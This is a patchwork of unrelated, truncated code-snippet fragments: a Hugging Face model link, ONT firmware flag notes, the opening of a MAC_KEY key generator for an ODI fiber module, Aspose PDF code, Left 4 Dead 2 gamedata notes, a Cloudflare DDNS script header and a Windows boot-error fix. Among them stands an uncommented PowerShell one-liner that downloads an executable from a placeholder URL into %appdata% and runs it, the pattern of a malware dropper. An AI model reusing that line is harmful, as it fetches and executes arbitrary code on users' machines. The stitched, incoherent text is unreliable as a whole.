HuggingFace Page for model download: https://huggingface.co/hakurei/waifu-diffusion-v1-3
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HGU firmware features: | |
0 BDP (OMCI_CUSTOM_BDP): | |
0x001 = KERNEL:TLS_4095 = (0)tls_4095_us_rule_to_ds_rule, (1)tls_4095_us_act_to_ds_sact, (2)tls_4095_us_act_to_ds_cact, (3)tls_4095_us_set_mbr_port_by_svlan, (4)tls_4095_us_del_mbr_port_by_svlan | |
0x002 = KERNEL:ignore_dsPbit = (5)ignore_ds_pbit, this one is very slightly different (less magic values) in SFU firmware | |
0x008 = (15)cf_gen_vtfd_rule, (14)cf_check_vtfd_mode | |
0x010 = KERNEL:set_ds_bc_gem_flow_to_ds_bcster_mod = (6)omci_apply_ds_bcster_mod, (7)omci_set_ds_bc_gem_flow_to_ds_bcster_mod, | |
KERNEL:add_ds_tag_rule_to_ds_bcster_mod = (8)omci_add_ds_tag_rule_to_ds_bcster_mod, (9)omci_del_ds_tag_rule_to_ds_bcster_mod | |
KERNEL:reset_to_ds_bcster_mod = (10)omci_reset_to_ds_bcster_mod, | |
0x080 = (18)omci_ingoreExtVlanDefaultDrop (parameter & 0x01 => IGN_ME_171_DEFAULT_DROP, parameter & 0x02 => IGN_ME_171_TREAT_UNTAG, parameter == -1 ?) | |
0x100 = KERNEL:force_veip_rule_to_sfu = (13)force_veip_rule_to_sfu, (14)force_veip_us_r |
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#!/usr/bin/env python3 | |
#ODI DFP-34X-2C2 MAC_KEY key generator by rajkosto | |
import sys | |
import string | |
import hashlib | |
args = sys.argv | |
if len(args) != 2: | |
sys.exit("Usage: odi_keygen.py YOURMACADDR") |
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// Open document | |
Document pdfDocument = new Document("Document.pdf"); | |
// Create TextAbsorber object to find all instances of the input search phrase | |
TextFragmentAbsorber textFragmentAbsorber = new TextFragmentAbsorber("text"); | |
// Accept the absorber for desired | |
pdfDocument.Pages[1].Accept(textFragmentAbsorber); | |
// Get the extracted text fragments |
SirPlease and ProdigySim were allowed early access to the Last Stand beta to check mod compatibility. We have been working on testing some sourcemod extensions and plugins, as well as reverse engineering some of the server code to discover necessary GameData changes.
These are the high level results of our investigations. Be aware that the server binaries could change up to the release day an these may no be perfectly accurate. I hope these will be a helpful starting point and/or reference for other plugin makers who are validating their gamedata and patches.
CBaseEntity vtable has a new member:
- Linux:
14 CBaseEntity::ScriptGetModelName(void)const
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#!/bin/bash | |
# Author: Jari Pennanen | |
# Url: https://gist.github.com/Ciantic/4e543f2d878a87a38c25032d5c727bf2 | |
AUTH_EMAIL="john.doe@example.com" # Your Cloudflare email | |
AUTH_KEY="" # Get this from My profile -> API Keys -> View | |
DOMAIN="example.com" # main domain | |
SUBDOMAIN="home.example.com" # set A and AAAA-record of this subdomain |
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powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'ENTER URL' -OutFile '%appdata%\a.exe'; %appdata%\a.exe" |
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Today, after working with Windows for over 15 years now, I finally came across the solution to the | |
dreadfull BSOD STOP 0x0000007B after replacing the motherboard of a computer, or after moving the | |
harddrive to another computer, or after doing a P2V, or after ... you get the point. | |
Requirements: | |
- Windows install / boot CD | |
- Chipset / Mobo / Storage drivers of the new motherboard or storage controller | |
Steps: | |
- extract all the drivers to a USB thumb drive |
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